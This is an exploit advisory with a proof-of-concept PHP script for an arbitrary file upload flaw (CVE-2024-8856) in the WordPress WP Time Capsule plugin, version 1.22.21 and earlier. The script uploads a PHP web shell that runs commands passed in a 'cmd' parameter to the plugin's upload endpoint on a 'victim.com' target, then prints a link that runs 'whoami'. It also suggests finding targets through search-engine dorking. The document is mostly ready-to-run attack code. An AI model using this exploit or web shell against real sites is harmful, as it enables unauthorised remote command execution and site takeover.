=============================================================================================================================================
| # Title     : WP Time Capsule 1.22.21 PHP Shell Upload vulnerability                                                                      |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 136.0.0 (64 bits)                                                            |
| # Vendor    : https://fr.wordpress.org/plugins/wp-time-capsule/                                                                           |
=============================================================================================================================================

POC :

[+] Dorking Ä°n Google Or Other Search Enggine.

[+] Code Description: exploits an arbitrary file upload vulnerability in WordPress WP Time Capsule plugin versions less than or equal to 1.22.21. 

    (Related : https://packetstorm.news/files/id/183146/ Related CVE numbers:	CVE-2024-8856 ) .
	
[+] Payload : 

[+] Set Target : line 17

[+] Usage : php poc.php 

[+] PayLoad :

<?php
// استهداف مسار التحميل في الإضافة
$target = "http://victim.com/wp-content/plugins/wp-time-capsule/wp-tcapsule-bridge/upload/php/index.php";
$payload_name = rand(10,99) . ".php"; // اسم عشوائي للملف
$payload_content = "<?php system(\$_GET['cmd']); ?>"; // حمولة تنفيذ أوامر

// إنشاء طلب ملف بصيغة Multipart
$boundary = "----WebKitFormBoundary" . md5(time());
$eol = "\r\n";
$data = "--" . $boundary . $eol;
$data .= 'Content-Disposition: form-data; name="files"; filename="' . $payload_name . '"' . $eol;
$data .= "Content-Type: application/x-php" . $eol . $eol;
$data .= $payload_content . $eol;
$data .= "--" . $boundary . "--" . $eol;

// تنفيذ الطلب
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_HTTPHEADER, array("Content-Type: multipart/form-data; boundary=" . $boundary));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

// طباعة النتيجة
if (strpos($response, $payload_name) !== false) {
    echo "[+] تم رفع الحمولة بنجاح: " . $payload_name . "\n";
    echo "[+] رابط التنفيذ: http://victim.com/wp-content/plugins/wp-time-capsule/wp-tcapsule-bridge/upload/php/$payload_name?cmd=whoami\n";
} else {
    echo "[-] فشل في رفع الحمولة.\n";
}
?>



Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================